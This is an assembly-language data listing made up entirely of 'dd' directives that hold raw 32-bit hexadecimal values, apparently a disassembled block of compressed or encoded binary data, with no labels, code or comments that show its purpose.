		dd 33C076E4h, 0D040B45Dh, 0D4961900h, 6138A03h,	0BEF93C48h
		dd 944E6F80h, 2C77B540h, 0DC752000h, 0D7E5F303h, 7D8324C0h
		dd 740F00DBh, 8EC8A38Ch, 703D155Ch, 48D3F00h, 99C62B5Bh
		dd 0C2750033h, 32F546E5h, 97008F22h, 2CC86692h,	3D81D140h
		dd 9183D80Ch, 4B0A5B6Bh, 4CB8490h, 1941CA00h, 8345A0EAh
		dd 0B4B80A62h, 81AE1Eh,	6461C8BCh, 0DC009877h, 0CDC003EDh
		dd 6280F0h, 31E075EEh, 7C7E06FAh, 3EE66D58h, 30AA0044h
		dd 8D985EE6h, 18890235h, 5808050Bh, 810972C0h, 0DB033Fh
		dd 8F8B9B1Ch
		dd 4BC32Bh, 2A299671h, 621A40FFh, 50845500h, 0D009A40Ch
		dd 4CE208h, 2F58E830h, 71B64F69h, 0CAB03C00h, 20C463E9h
		dd 94BC2441h, 0F61E3Ah,	8B28BB3Ah, 48010537h, 2C438319h
		dd 42301221h, 14660030h, 16BE8B50h, 0FE00344Ah,	7B80DE02h
		dd 0D6C103h, 0F2B0576Eh, 0EA52BA68h, 5900D5ECh,	0F84E8D6Dh
		dd 6C0394Ah, 7705F980h,	49FAFC51h, 1904DAFAh, 1708B710h
		dd 29C01E87h, 0B8913248h, 89560009h, 33EB684Bh,	7A1CC72Bh
		dd 6E407980h, 1081322h,	88191D90h, 1E101D02h, 3E071E04h
		dd 0CEF62780h, 0DE89F1Bh, 850F240Bh, 8A3980CCh,	73E43h
		dd 1D74052Ch, 4F83C8FEh, 0F50EE3Ah, 0D488FA08h,	842E00BCh
		dd 0AAEDE93Fh, 6ABB00BDh, 0F81C904Ch, 87000FC6h, 369C37B7h
		dd 48F38918h, 8009939h,	0C8C111ADh, 8E00D509h, 14550E9h
		dd 0FA1833FDh, 25F822h,	367B8D05h, 0EB1354BEh, 5C9DA30Fh
		dd 17E980C3h, 14801ABh,	425E8414h, 0EDE4F2B4h, 5CBCE488h
		dd 74F244F2h, 5026A9F2h, 57038171h, 0B80B20EDh,	3E548602h
		dd 6583C976h, 37A608BAh, 0CEE4B898h, 0B9364404h, 1380810Ch
		dd 7614868Ah, 5D450349h, 97D45942h, 0BDA400F5h,	93208BF1h
		dd 0E807CC98h, 2D121AD3h, 864814C0h, 0A9910077h, 0EB2A8A3Bh
		dd 11012C3Ch, 1408F534h, 68F85F64h, 1B3B0178h, 0BE0A0960h
		dd 5310601Dh, 0E200287Fh, 4A4B9734h, 9C5A7h, 91160722h
		dd 0D40B944Fh, 0ED145Ch, 136DA48Fh, 0E274067Ch,	4409000Eh
		dd 3E882E1Eh, 500056EBh, 0B7C4A28Ch, 33C6A65h, 0D689AFF7h
		dd 0E6A01499h, 6300ACD9h, 4D4BFCB8h, 0BADCFFh, 0B2365C43h
		dd 0EB2B5A20h, 7CD7F07h, 47332C0Ah, 81069017h, 1D3A9024h
		dd 4014C95Fh, 0E57C115Dh, 4C00210Eh, 3BF23C10h,	264B22BCh
		dd 19142Ah, 74D807C8h, 900785BEh, 68B2A4F0h, 0E6BB4160h
		dd 9FB0000Ah, 0BCB95D09h, 0C3004916h, 25856C03h, 0C4001h
		dd 36383420h, 0B6587644h, 630011ECh, 0B5C2EF75h, 14302B01h
		dd 0ECFA5390h, 2E0F323Ch, 0FD660D4h, 80BDCAE7h,	7257865Fh
		dd 2DE06269h, 63614200h, 6E45206Bh, 3568005Eh, 56A47A57h
		dd 3400291Ch, 505B7660h, 695D03h, 2F856D75h, 0D4309401h
		dd 535E3Ah, 0C2E349BCh,	436517h, 0B6B2BE1Ch, 6D90B56Eh
		dd 58007298h, 307053EFh, 3B314BADh, 3752DA5h, 0DCAFB590h
		dd 11905098h, 4D002809h, 8C27646Fh, 295525h, 0A534482Ch
		dd 0CD9AFAD8h, 6B019D07h, 5070AC53h, 0FC75DEh, 6AD25930h
		dd 4264A128h, 8B83BF12h, 1978E000h, 760A464Eh, 0A7091DE5h
		dd 0A87C4027h, 0F67E704Fh, 804A0200h, 0CC5B89FCh, 8A787Dh
		dd 0E0B9C45Eh, 0E3820A73h, 582F262Eh, 58BED000h, 210F37Eh
		dd 69E0BF80h, 8DD4468Ah, 0A074020Eh, 50137D09h,	0B01E005Ch
		dd 114B9487h, 0E43AE021h, 0C010003Ah, 0B4292E0Eh, 0DBC307E5h
		dd 0B0481732h, 0BB46B33Ch, 6B00E2F0h, 5AA2F9BFh, 49655Fh
		dd 479430Bh, 4CCA7831h,	2000E698h, 76324D58h, 0EE476113h
		dd 957C002Eh, 0D8363930h, 1B776ACDh, 0B60017B8h, 4A53E8Eh
		dd 584D5Ah, 5E2D48Fh, 93D30A29h, 0BF00CB7Ah, 0C1901512h
		dd 7850B346h, 9443072Ch, 117ABC49h, 0C0F78498h,	3000540h
		dd 8788021h, 0E8F0110h,	0EAA90750h, 0FE09BBC1h,	0E9D260CAh
		dd 0B1793113h, 2078E700h, 3E429C7Ah, 8880C6C1h,	0C0219829h
		dd 832E084Eh, 2D00F9FAh, 2E10BD87h, 40B73F95h, 96DFA6h
		dd 5B0799F3h, 6DEE9118h, 3AEA29F4h, 454CB190h, 0CC51007Bh
		dd 0FC14A13Eh, 2CC41C0Bh, 50EB80C2h, 875C1175h,	88649002h
		dd 0E353798Ch, 42123C7Eh, 31BCECBCh, 0C3431C8Fh, 4C442000h
		dd 84790F3Ch, 18937C0Eh, 804D4F22h, 896F5C91h, 0B440016Dh
		dd 290E5228h, 7972E820h, 22351803h, 0B985ADF4h,	8AE04B2Dh
		dd 302C0ED4h, 0DC60A9D3h, 32FC3143h, 33F98700h,	0F124E50Bh
		dd 0F57C03CBh, 0A7133026h, 0C13B7B98h, 32A9201Eh, 3342F680h
		dd 3955E8h, 6F1D6B6Eh, 71205B77h, 0F43AA702h, 0C075304Ah
		dd 76968CBh, 587F8470h,	0C3E4435Ch, 6007E8C3h, 0EC100146h
		dd 6404B290h, 0F0F251h,	725411D8h, 736E6103h, 74656D00h
		dd 437C19B6h, 775727Bh,	0DC34916Fh, 54CC429Dh, 8AABD540h
		dd 320B9501h, 5C19580Ch, 0F8EB60D1h, 984662A5h,	0C627018Eh
		dd 86774B85h, 2370E80Eh, 72116F01h, 75C47488h, 0F2C7E0h
		dd 3641378h, 45287C14h,	780521Fh, 0DC008496h, 0E8C0C68Fh
		dd 570400ABh, 32517353h, 76765652h, 0FAB32F04h,	218068DBh
		dd 1624884h, 17A915Dh, 0EC18203Ah, 0FC1C89A2h, 3C5FA468h
		dd 559F8CC0h, 4D0390h, 0C87D8194h, 716E6547h, 1B6F7500h
		dd 1E69EF12h, 90493B9Eh, 0AF942785h, 70FE808Dh,	331F8471h
		dd 41C069EBh, 0D6874F9h, 94101C38h, 0A3634724h,	30451ABh
		dd 9152E4EBh, 3C755803h, 90784989h, 772D5C0Fh, 8E8F0733h
		dd 102A6461h, 0EB024124h, 8248110Eh, 0F8832080h, 9565095h
		dd 0B657E90Eh, 0A524807Dh, 0D0FDC2h, 9CBD2A2Fh,	8C463F4Fh
		dd 1A029100h, 0B0ACB878h, 0F2957622h, 0E85D0088h, 0DD27771Fh
		dd 0C1007B69h, 873DF441h, 50D3622h, 3E25C889h, 4B8C042h
		dd 0F03F6373h, 80C3BB84h, 0E0833074h, 88480Fh, 0D9E5D553h
		dd 0B1AB39CAh, 1AB2E90Eh, 0ED9B432Ch, 0A41FB022h, 2F3077Fh
		dd 30B62A12h, 1A93867h,	59510A0Fh, 658FA0B8h, 1C1745FEh
		dd 7F06BD80h, 5FC1759Eh, 40A21D66h, 5121DD84h, 43008D8Ah
		dd 2B52A19h, 0CB7516h, 69307659h, 80E06704h, 0E9E46D00h
		dd 4CD2AA13h, 0DBA41F7Eh, 0B39002Ah, 0B0A5DACFh, 0F9708A00h
		dd 0C114EE6Ah, 557097D5h, 0E53E901Dh, 8F079C5Dh, 5480A808h
		dd 282993h, 915BA5A7h, 45A9664Ah, 5D00067Ah, 0AA4085A6h
		dd 4B829AEh, 2B641F03h,	0B6AB8072h, 0BEE8BA08h,	0C3CDCFBh
		dd 0C2408E03h, 83CA81C6h, 8705E0CEh, 18ED009Ah,	4C331E45h
		dd 48000666h, 10EBC1F6h, 18F44E0Fh, 0AECF25AAh,	4301B738h
		dd 1E3F7EA1h, 0E1D08A11h, 30AEE96h, 5A607CB1h, 45A8C5EAh
		dd 157AE66Bh, 0ACE22A1Fh, 0DE0F5280h, 16ABA8D2h, 35EEC80h
		dd 5B7A592Ah, 19CD58A8h, 8C55D800h, 0E89F51B9h,	0B7280016h
		dd 5CBA0B4Eh, 4801FBC9h, 1B8D108Bh, 0A6D8E974h,	0FC7540h
		dd 0AD9B914h, 354A5C20h, 44008874h, 73102B74h, 7658B2AEh
		dd 0BC30E717h, 1C0D0059h, 0EBB0404Bh, 1A075E65h, 21322A54h
		dd 0ACA41040h, 0B34500A7h, 0B4114E6Ch, 98F019C9h, 9C3040BDh
		dd 1E5700B6h, 8C3DA1BCh, 0C000BEA0h, 7D258D13h,	73B30A2h
		dd 0B5F8FB8Bh, 0C0FA67A3h, 22C33657h, 0D2C94D00h, 8CBFECFh
		dd 17AB0082h, 0EA34DC5Dh, 87002C45h, 597E294Bh,	1184A1Bh
		dd 0BA9444CBh, 0F732B937h, 78921207h, 6E9473E4h, 3582CA09h
		dd 0B1404D54h, 30FD3896h, 285C0CFCh, 83090115h,	5054A4C4h
		dd 0FECB59C4h, 0B08D0016h, 0BA2DC935h, 7E0EEE24h, 0C0501FCFh
		dd 0A016484Fh, 5EA30096h, 8771D7D4h, 0D87E85F4h, 1CDC0800h
		dd 0B1569FA2h, 869400E4h, 0D3FB1F55h, 0E800951Ah, 0C8DC633Fh
		dd 1100B26h, 3D801499h,	2AE15B18h, 0A4EFB0h, 98CE92BFh
		dd 7E591277h, 0B409C401h, 25A656A3h, 0F26AC9CCh, 0C8CD002Fh
		dd 8821AF1Ch, 191ECA9Bh, 99C0A543h, 0DF09D611h,	0BEE85C10h
		dd 0F101330Fh, 3BFFA6Eh, 221A390Ah, 0F8442AA9h,	0EB00883Ch
		dd 5C61976h, 2601E7A0h
		dd 0FA96DE5h, 4321DFA4h, 0D15B20A8h, 0E152D1ACh, 4249E0B0h
		dd 0E65B800h, 391048BCh, 0CC00059h, 0C4908529h,	156719C8h
		dd 54F02006h, 722CCh, 3209D081h, 0CB60C41Bh, 4F2EAA00h
		dd 0AB4E104Dh, 4BDC0FDEh, 0FF0FB0E6h, 3B00E2EBh, 65AC82EDh
		dd 923B5F00h, 0FC0A7185h, 0D27E9564h, 0F02CF406h, 0B7EC0076h
		dd 0DFFE3862h, 6A3E4307h, 0E432005Bh, 0DDE01472h, 42120045h
		dd 2934CC06h, 1EE42D83h, 5C1A0102h, 0E0406F2Ch,	0B0A26E1Ch
		dd 0C5CC00C3h, 0ED540C51h, 0E7A9333h, 8DA56600h, 9D35EF40h
		dd 14EEAE8h, 8FDDCEEAh,	0D4C709D2h, 0C60FE099h,	0E02AB67Ah
		dd 0D62B49AEh, 2F580051h, 3DC255D0h, 11DBD03h, 0DC005C77h
		dd 64BCD3B7h, 0F9532610h, 80FD0001h, 870D048Fh,	0BF2A9E03h
		dd 0A04FA86Bh, 0AC6865h, 40C683D1h, 0B0F8608h, 1448C0EEh
		dd 0A5AD0063h, 642D24FBh, 580203F5h, 76DB850Ch,	21C144C0h
		dd 4BCD8600h, 0BC7C247Fh, 0EF07A4Ah, 56107005h,	3D0C36E3h
		dd 0DF5144D8h, 6E297A00h, 8833022Bh, 75080042h,	1643C394h
		dd 0E047953h, 122147E8h, 7F90B6C0h, 519800A2h, 2E1E25E2h
		dd 8000F6F0h, 0DD3C7869h, 1D2A38D2h, 55204h, 0C981D868h
		dd 7E0010B4h, 0BFEB6582h, 3BB0925h, 4B594CE0h, 56A8F05Ah
		dd 72006116h, 48ADF846h, 2D9F7Bh, 4BE70193h, 0D7A7D4FBh
		dd 7906C3Eh, 0E46EF854h, 0DDEBBD51h, 703AC70h, 44BCCCF7h
		dd 78E6304Bh, 11007F6Fh, 64DFCEE9h, 731724B4h, 886A0758h
		dd 0D06023D6h, 0C4709472h, 0BE27D21Fh, 68950C0h, 4F0CAEh
		dd 2F22F114h, 244EC8DDh, 0E4082112h, 8C6C8000h,	2CFEF084h
		dd 0CAEE65h, 1625DCF4h,	3400AA11h, 6A9488F3h, 0ABCF4Fh
		dd 54801B6Ch, 7765AD7Bh, 31C56800h, 2C59958Dh, 57EF1DB0h
		dd 6B5C7F1h, 0F79CF70Dh, 12AFA14Eh, 0EBD0DC69h,	3A294100h
		dd 8D8263BCh, 0F87885h,	1975809Ah, 92D2FCF4h, 0D1411300h
		dd 0FEEC5D43h, 9DD000E4h, 5F0B0879h, 50E41E5Bh,	856D7100h
		dd 0F7659784h, 1294004Ah, 2224CA1Dh, 5C0B0810h,	80727453h
		dd 0A5AB2D16h, 0ED750027h, 6918A4E4h, 0C0008906h, 0A7BBA8A9h
		dd 4A82BEh, 30145D0Dh, 6D6F431Ch, 34876500h, 712C0A73h
		dd 880B39ECh, 0C170C400h, 0D34E7909h, 8064523Fh, 2BD01884h
		dd 0BA40F22h, 28447291h, 4C9D7B80h, 0D30E3770h,	0E0D8A5BBh
		dd 25876C33h, 927900DEh, 12633018h, 0C848D48Bh,	0ACBC00F4h
		dd 178DB6C4h, 0E031FAC2h, 0ECB2002Fh, 69540BCAh, 0EA0F4556h
		dd 24985980h, 0A2800C89h, 0B87212h, 56AD536Ch, 30C88ADCh
		dd 0E445400h, 6765354Ch, 0E109005Ah, 0C95BC370h, 4B017468h
		dd 0E0F82930h, 27D8ABF2h, 87640018h, 6BC58E6Dh,	0C8F72873h
		dd 0B200D142h, 0B14F2610h, 9055E5h, 947AC427h, 814475Ah
		dd 0D6D18001h, 0EA25F46h, 6016CCh, 295CC595h, 2EB06488h
		dd 90E34B16h, 0DCC47F00h, 7C44D148h, 0ABF07EDh,	40B36965h
		dd 12B47542h, 806C643Fh, 30D2520Ch, 72EB8F6h, 14257669h
		dd 8B59165h, 24FC4E0h, 16B0F5Ch, 4E7685Fh, 0D7F8D4C6h
		dd 31A1866h, 88104619h,	0C8064301h, 1890141Bh, 2E9104E0h
		dd 73A381Ch, 50AE961Ah,	0D27CB865h, 29339F00h, 13AB9C4Ah
		dd 1038000Fh, 2E642B25h, 14F02703h, 87D2AD00h, 53588011h
		dd 0FB478B1h, 2190DF3Eh, 5CC0A74Eh, 3181779Dh, 0F80BF0BFh
		dd 79E107D9h, 0E0B8AC2Ah, 0D234150Ah, 2B00257Ch, 0EDBBC044h
		dd 588AD620h, 0D3004703h, 0D501B5A7h, 0B8008302h, 0AE3D4FFBh
		dd 0FA34D4h, 0E2C87232h, 0C9128937h, 8CB7D901h,	0F188A18Bh
		dd 5562D0h, 9C01451Bh, 0D35B279Fh, 80FB1D3Ah, 504108D1h
		dd 32A5251h, 0EB1069ECh, 588864C2h, 3C00B3EAh, 5E575684h
		dd 38A473h, 0C29887E9h,	145A52E6h, 369FB40Eh, 0BF2B0Fh
		dd 8E1F3EACh, 471000Bh,	0FD27CCFEh, 5F01AF12h, 38EA1CD1h
		dd 0C0D44754h, 34560039h, 0FF3A3374h, 811ECC76h, 470EC322h
		dd 0BA805D4Ch, 809044Dh, 3C0F0370h, 6F7788B1h, 298BB6B8h
		dd 69DE7503h, 0FA99554Bh, 3654E00Ch, 2B4300AFh,	0A5D4459Fh
		dd 0AD010576h, 1912BEF4h, 0F0D0A2E2h, 15261D90h, 8043DE0Eh
		dd 0C1695D8Ch, 2A019402h, 0EC881CF4h, 9630F0CEh, 0F03B7D8Eh
		dd 0C0E0047h, 7E2146D2h, 0A1ED4A7h, 5000D76Ch, 0DEC8D5A6h
		dd 0D9A50077h, 0CEB62A4h, 3F002171h, 1711DBA7h,	686C6Ah
		dd 74D83BC0h, 0AECB8316h, 0A6F70400h, 4512A028h, 0C26A00F0h
		dd 4FDF77E3h, 290024ABh, 48165D4Bh, 0B00C06C3h,	0CE090C9Ch
		dd 66B23908h, 0D7CA890Eh, 907A8085h, 0FF0AA6h, 1184872h
		dd 6CC1EBCEh, 595C2300h, 0E26A90E5h, 3A8100A0h,	2E1977D0h
		dd 6F009B89h, 4B2BC48Ch, 88FBC2h, 0B483075Bh, 0FFB09281h
		dd 0EE604504h, 5700CC17h, 5882FEE9h, 58474048h,	2E10033h
		dd 0C1F5FA2Ch, 6B5E0175h, 0A0F168D8h, 2D6320C4h, 0DCA13C00h
		dd 1F061CE3h, 7EBD0043h, 4194D48h, 0FA008001h, 5302BB05h
		dd 3C32EBh, 9D2CAF41h, 27450618h, 82206A60h, 7A28AFEh
		dd 4C50FF5h, 0C7838088h, 541F4802h, 95C0CF43h, 13C144Dh
		dd 0D9495C30h, 34D9AA00h, 8448E36Bh, 3DC93200h,	0B95E882Fh
		dd 12760391h, 3B7421BAh, 72FC3AF0h, 6A838C00h, 0C7F2F449h
		dd 0B2900010h, 30393DD6h, 96007370h, 0BFC28BD2h, 0E698FEh
		dd 0C6126CF4h, 5D4A2404h, 935B801h, 3B5564BAh, 0E0FCADF5h
		dd 0FE840042h, 0F3C07489h, 0B405ED33h, 5F77087Eh, 0E681C280h
		dd 0FE103B8Ch, 830F1B9Eh, 0DBAB0DDFh, 7C89CEB8h, 47174A00h
		dd 0E388559Fh, 0B19011h, 8BA71F0Dh, 8577F8BAh, 81A09E4Ah
		dd 115F00D0h, 0C53B2BF1h, 2C022452h, 0FF6AE477h, 0B6D5E054h
		dd 0B9D400DBh, 86E7226Ch, 7E7D7428h, 52897F05h,	0BE0092ADh
		dd 1D8D70EBh, 661A1D98h, 850580D6h, 28215346h, 4D75E207h
		dd 40903E9Ch, 6132CBh, 6F881931h, 0E655697h, 6AE91F05h
		dd 0D60E03AEh, 0C622E005h, 0AB2550h, 121DA511h,	0AF0A5406h
		dd 1244C00h, 77714FDh, 68FE6303h, 5E05B8Ah, 5F3B5D62h
		dd 0A25A03B3h, 0F3BE4BD1h, 9FEAA0A4h, 0FD130025h, 4E7FDED9h
		dd 10F688EFh, 41CC2000h, 22496F5Bh, 196A00D8h, 92F53942h
		dd 54015DE7h, 0C0A38C1Bh, 0A5EC452Dh, 18D4011Ah, 64F3CF3Fh
		dd 0B8F0D860h, 0C4DA1400h, 5309FF65h, 5AEE0Fh, 0AA2BBB25h
		dd 0A4290532h, 44EC3700h, 8DBABF9Bh, 0AC3F00FEh, 6E0FD4C7h
		dd 5800EF32h, 19F7EAA7h, 0F8BD7076h, 223B00D7h,	2C683603h
		dd 2E008D66h, 0C74543E4h, 0EA8271h, 7802F45Fh, 33CAE055h
		dd 0BD49F300h, 30AE2040h, 17DC0053h, 0E251606Fh, 230722D8h
		dd 68D413C0h, 0DEE7A627h, 0D0C4A3E0h, 6F730348h, 9BCCA251h
		dd 8FE87AEBh, 763BC812h, 1AF50710h, 0B7D7C429h,	0C0F1A8D1h
		dd 0C81BD3FCh, 0B8C0BC4Eh, 77C1D05Fh, 0B4451F9Eh, 1E42B036h
		dd 4303B022h, 148D7A37h, 0E8DBE3ACh, 3EA878D4h,	1FF49C8Bh
		dd 5F4DA4D1h, 884740BDh, 0DEB790A0h, 0C19C4CC8h, 12E74398h
		dd 0A5691094h, 0F75C2C00h, 84DA04D8h, 12EEFE4Eh, 7BFD5C4h
		dd 943DA9ACh, 61BBC007h, 40004E70h, 2571626Bh, 3B691C65h
		dd 0FF007775h, 57ADCC67h, 0BC002C9Eh, 0DAE74272h, 0C34316h
		dd 0EB22354Eh, 1D6CD5CCh, 13D895h, 3768B8B9h, 0C5648DBh
		dd 0D8BD0B00h, 41FA4E4h, 5FE800D6h, 0E3FE0146h,	0E2F4297Eh
		dd 0F44D6200h, 17B11E9Ch
		dd 0A5C00ACh, 4FF2C727h, 1B002910h, 0DA6CB74Ah,	3E3BA908h
		dd 5F8346C2h, 0EE58E276h, 515EB5E0h, 30E1F43Ah,	3E1378D4h
		dd 0A8BC0020h, 0DA9057A2h, 8504DC36h, 341D0425h, 53DD6FC0h
		dd 0F982008Fh, 0E9A7AAA3h, 4B005DC9h, 5B30D398h, 78E83Dh
		dd 0F7700651h, 0D91E148h, 0A3184700h, 3D83438Ch, 0C9FEA2h
		dd 0ECC28EF4h, 0DBF12124h, 3A14538h, 6838801Ah,	0AAAA875h
		dd 94431FFDh, 6E90004h,	0C525A2D9h, 0E88660E3h,	2AD0AF60h
		dd 0FC2336h, 6E3BBF7h, 1DF8682Fh, 0A0F4EA00h, 86C42B13h
		dd 0A11C0721h, 0C1768528h, 0F4176984h, 7007A41h, 954DBE5h
		dd 0B44AE3h, 9E151AA0h,	0CA2B89B6h, 458BD401h, 952AA2B8h
		dd 1D6B0F20h, 40E2F343h, 4B2FDC3Dh, 970192FBh, 7C67F55Dh
		dd 71F07908h, 89AF0F84h, 34228CD4h, 0E3E35465h,	87EB50EBh
		dd 25FF16F8h, 0C0F84400h, 1C401099h, 478E003Ch,	91342338h
		dd 2C00C830h, 247228E4h, 0E21C2039h, 18412D8Eh,	3F30D4h
		dd 0A4C4B4A6h, 3E6D29DDh, 5002814h, 94E8F35Ah, 0B5F2BF4Fh
		dd 8404D000h, 0B05F76D2h, 0C9440081h, 5DA1708Ah, 8000FC01h
		dd 2EFF0B7Ch, 0FED175h,	7D3944BDh, 4C740482h, 9B3FEB00h
		dd 7B8AF19h, 0D0C10080h, 40B2E937h, 13009839h, 29D8B60Fh
		dd 3BF7750Ah, 5C0AE0BFh, 1E964E35h, 0CB02C121h,	0E8A5E983h
		dd 410072FBh, 880F7F0Ch, 2402C4Ch, 75CAFE0Dh, 0AFC0DAA3h
		dd 0B10023F9h, 6E22DDABh, 0B540F6h, 51E29456h, 2DC5BE53h
		dd 69DE0F2Eh, 0E72CC400h, 0F8D2B8CCh, 0BE190175h, 0C7D9BA29h
		dd 8205D4ADh, 4A10700h,	182B376Ch, 1688006Bh, 22F35EDEh
		dd 531C4FD7h, 0EDD2C220h, 7998B900h, 28FF6B26h,	0BC2CA6h
		dd 0C7031E14h, 0A406D950h, 7E0CBF1Dh, 0D82B0D47h, 4AC0F8D7h
		dd 422ABE3h, 2C71C582h,	0E4888032h, 8900141Fh, 2E051043h
		dd 1060Ch, 667F6854h, 3D53004h,	0DF6EC800h, 0C6097D60h
		dd 6B484805h, 62842Eh, 7C7A90FEh, 0BD0A6ADFh, 0F61DC6FBh
		dd 0B7452501h, 0D520A67Bh, 64D5037Eh, 5F107CEEh, 96700AD8h
		dd 0E7AE3507h, 4FE05A14h, 3E2016ACh, 180A9FBh, 0A897E8ECh
		dd 0D3F87556h, 0B2EB8E00h, 0AA055F71h, 58531750h, 0C8ACF047h
		dd 0B39F1400h, 374A0460h, 8C661FAAh, 0C73E1CCEh, 0FEEC71Dh
		dd 2E35A6A0h, 0BC00C9BFh, 81100540h, 41878h, 7554D7B1h
		dd 0C2A4AC15h, 77A4848h, 81274A58h, 0F3EB2053h,	0B204D085h
		dd 145C77D7h, 0CD0EC862h, 2CF82401h, 0CD5EC390h, 1EF2E074h
		dd 0CCE1A300h, 80ED6A29h, 4B021E2Eh, 0D8AA4016h, 0E2B7428Eh
		dd 38D4923Fh, 66A28010h, 25439F0h, 7A8600E8h, 0EE8AC8E0h
		dd 0CD00AF42h, 0F00D217Fh, 1EAA106Ah, 0FFFDA55h, 0C3A00A2Fh
		dd 0CB8362C6h, 8065DF39h, 11B3E882h, 9545F02h, 3C995C31h
		dd 0D95EC000h, 0E80B9C13h, 80C15274h, 699208CAh, 0B963398Dh
		dd 4AB68000h, 18201514h, 7AA20C01h, 4352DF90h, 973477E5h
		dd 9CE47Dh, 0E8C28B30h,	0A73D322Ah, 16032500h, 59396491h
		dd 0B66E390Ch, 0FE701080h, 131ED48h, 87E86700h,	46BA44Dh
		dd 88E422h, 0A8903419h,	80282429h, 0E0103D02h, 0C0135074h
		dd 0FBBB9E3h, 0D75B059Eh, 5CA7F320h, 0F7044C0Bh, 0C139E034h
		dd 2E4E9980h, 92D0006Fh, 40A5C779h, 0D400CF7Fh,	64882238h
		dd 4B5073h, 4C20AA52h, 0D60CBED8h, 21AE2701h, 3F2C8F16h
		dd 1CF5CD4h, 5ABB4A3Ch,	307B71ABh, 8000019Ch, 742DFC78h
		dd 0B8D71Eh, 135DB2A4h,	0DE2F0451h, 4F5A8000h, 0E16A88C6h
		dd 34E252h, 6789D877h, 0E5D7B8A7h, 6500C275h, 2EE19608h
		dd 1E58595Bh, 0BA64354Bh, 825AB501h, 0F4D0D727h, 0F000ADE9h
		dd 0EB3F19A8h, 8AE705h,	0BC84A663h, 5C766AE1h, 0E810C004h
		dd 0FAC04607h, 12D11Bh,	47653D1Dh, 0E688554h, 8ECE3EFAh
		dd 0CFABAA50h, 0BA4F241Fh, 0F8E8BCC0h, 19DA6600h, 4F0B2A51h
		dd 0C95C00CFh, 44B942C2h, 0BA1E4813h, 825FD378h, 3C7A9882h
		dd 1CA66032h, 36DC00B8h, 130EBF15h, 71011A74h, 64FDBBBAh
		dd 0DF61EB7Fh, 0FE2FF4h, 0B2799554h, 0A7D3A45Ah, 0A35B9800h
		dd 6E200775h, 47741C6Fh, 7B80BC66h, 144450D1h, 45004840h
		dd 30204F4Ch, 3E7355h, 3A69572Eh, 0ACDE6874h, 0B498C4A0h
		dd 3B498700h, 92F0D5AFh, 29F700FBh, 0EFE388C5h,	0FC00A23Ch
		dd 351B9886h, 2F9CB8h, 0EB4E90E2h, 8B3301C0h, 4967C807h
		dd 0ABF4BA3Ch, 2B736980h, 0A8420020h, 0FEA32D9Fh, 62002C03h
		dd 0A75D253h, 0A54494h,	0E38F8BDDh, 49F3C755h, 3CF8F970h
		dd 800CFC3Dh, 7CA3853Eh, 4AF1ABD5h, 58B812h, 0E233545Bh
		dd 8D49D2h, 22F7EE4Dh, 0D5E42878h, 694EF900h, 0F17F7B32h
		dd 19C23E5Fh, 0F22BD101h, 0C008BCF5h, 4900414Dh, 5246204Ch
		dd 1C3AF04Fh, 40885BEDh, 0B047DE9Ah, 1509A1E2h,	14008E4h
		dd 205450DEh, 5E4FE0h, 1CCCA3Ah, 0DD0814E8h, 0D85D8900h
		dd 0EE4E3250h, 698F05AFh, 0C09FFF4Bh, 8D62F40Dh, 0D7D1E500h
		dd 94D9A4C7h, 75FA0F92h, 0C01C655Eh, 0BAFC0A4Dh, 0AB00E5B4h
		dd 3B63F059h, 3EC3064h,	0C429C314h, 77BB4418h, 0F622CAF0h
		dd 0D443BA00h, 0A137C99Dh, 0B8CF00A7h, 2173BE1h, 25B0C1ECh
		dd 0E6004298h, 6B2CAB38h, 470FF4h, 94688D8Bh, 3B42406Eh
		dd 0A701DC03h, 0D857CBF3h, 0B441C14h, 0D8A65441h, 4612F880h
		dd 6D07C861h, 205C8725h, 0F4FBFFE0h, 88090028h,	7F977553h
		dd 2A008DADh, 8A2C144Ch, 922BDFh, 2D5E2858h, 32B3C9E5h
		dd 0F3781600h, 616CC82Fh, 6E3E0069h, 68631D3Bh,	1F0072D6h
		dd 493DC024h, 2D4F53h, 7535E238h, 4C315639h, 0E21293Dh
		dd 40437ACBh, 45E5ED66h, 6F633BF4h, 67706480h, 62382C8Ah
		dd 0F627561Eh, 53F45881h, 97E47D91h, 70830F7Eh,	8525E6C8h
		dd 5FE983C9h, 0B725D5B8h, 1092D400h, 0EC4F6A7Fh, 0D32300B4h
		dd 0E6CF62D6h, 0A531266Fh, 686ECCFFh, 35343D0h,	4CE7A3B8h
		dd 9FE96958h, 5251F8F4h, 38F7EF00h, 39829794h, 3A413CE7h
		dd 881400F3h, 0A484C06Ch, 103F2A8Bh, 8A88F40h, 3839A042h
		dd 701AAF0h, 4A4784Ch, 0F61560AFh, 501C820h, 30C16590h
		dd 0AF81910h, 0F36FE29h, 0CA08C060h, 2D81CC69h,	0F42B2C05h
		dd 957D5A64h, 4D282703h, 0B81DD9E2h, 0E46EC161h, 0A560073h
		dd 70DDB898h, 663F5269h, 804036Ch, 0A04650A1h, 0EC37Ch
		dd 0B6D7EBE8h, 8D8157B4h, 320780E2h, 1C54B09Ch,	1E0E405Eh
		dd 0F194E9F5h, 154FD0FBh, 73E3B06Bh, 483C019Ah,	743E7F6h
		dd 670C86Fh, 44ED7900h,	5D977854h, 3484000Ah, 5817DAF9h
		dd 0D40AF791h, 0E57538A0h, 0A26D2A00h, 717464h,	8D704C52h
		dd 453CAE72h, 39403Ch, 0D05F5089h, 5BBD94h, 75488555h
		dd 7D8AF9F6h, 742FE73Fh, 0FEFFF800h, 173EF82h, 2E90B63h
		dd 0F38065D9h, 888B1BA0h, 956F7400h, 28692C91h,	0DF034C5Ah
		dd 0D91FE905h, 92038099h, 2000686Ah, 0FD858D55h, 0B8BE81DFh
		dd 0D8F60B3Ah, 8500A101h, 492F8A7Eh, 57281707h,	1DC095ECh
		dd 750A5B9h, 16294A7Bh,	5FB43025h, 0AB0090EAh, 0C449C60Eh
		dd 1AD93680h, 404C6728h, 8DE959E0h, 8E73297Bh, 592D3Bh
		dd 0FB3AE571h, 4E182Ah,	0C9825CA6h, 0F51A8D89h,	0F0FC8700h
		dd 5768BDA2h, 9F7A3C96h, 0F8423180h, 49BF14EAh,	1DEB1903h
		dd 0C388C892h, 0FB83AB90h, 57ED00Ch, 61300FB8h,	0E7E0558Dh
		dd 0AF918696h, 0C32D321Dh
		dd 82C8C0CAh, 60C4A00h,	26D858Ah, 25ECB5BBh, 18E01844h
		dd 6E00EB2Ch, 0A7D04936h, 1D28E6h, 1AC83C42h, 0CB24C90h
		dd 2958241Eh, 399E82C0h, 76481730h, 2E2D0064h, 0EB50B11Ch
